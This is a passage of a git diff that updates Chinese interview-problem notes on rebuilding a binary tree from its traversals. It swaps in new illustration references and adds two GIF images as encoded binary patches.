z9YKA-psz7cXak|nB2XwT%Z&~T6@r*<5wE5Dx;@7sqnn+7@1DU>HSj(%h}<TZ3a|pI
z75<!DpAG;7kI044tkyLYcGVL#zZJ^=&JC|A?VyK+W0UtMGO@m)@!{bIb{}-z9|73>
I|ML6)Ct-(L@&Et;

literal 0
HcmV?d00001

diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index 939ee792..2f2a0c9a 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -316,12 +316,14 @@ preorder = [3,9,20,15,7]
 inorder =  [9,3,15,20,7]
 ```
 
-<div align="center"> <img src="pics/8a4c6ad4-a816-47d1-b93f-7ca4f78ab67a.png" width="250"/> </div><br>
+<div align="center"> <img src="pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-1.gif" width="200"/> </div><br>
 
 ## 解题思路
 
 前序遍历的第一个值为根节点的值，使用这个值将中序遍历结果分成两部分，左部分为树的左子树中序遍历结果，右部分为树的右子树中序遍历的结果。
 
+<div align="center"> <img src="pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-21548502782193.gif"/> </div><br>
+
 ```java
 // 缓存中序遍历数组每个值对应的索引
 private Map<Integer, Integer> indexForInOrders = new HashMap<>();
diff --git a/docs/pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-1.gif b/docs/pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-1.gif
new file mode 100644
index 0000000000000000000000000000000000000000..a6552b51fd6a261bcc71e285d8d65ff6525e04b4
GIT binary patch
literal 6144
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

literal 0
HcmV?d00001

diff --git a/docs/pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-21548502782193.gif b/docs/pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-21548502782193.gif
new file mode 100644
index 0000000000000000000000000000000000000000..d5a4eec5135cb19520aea0df5891e9748bcfc46d
GIT binary patch
literal 23552
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
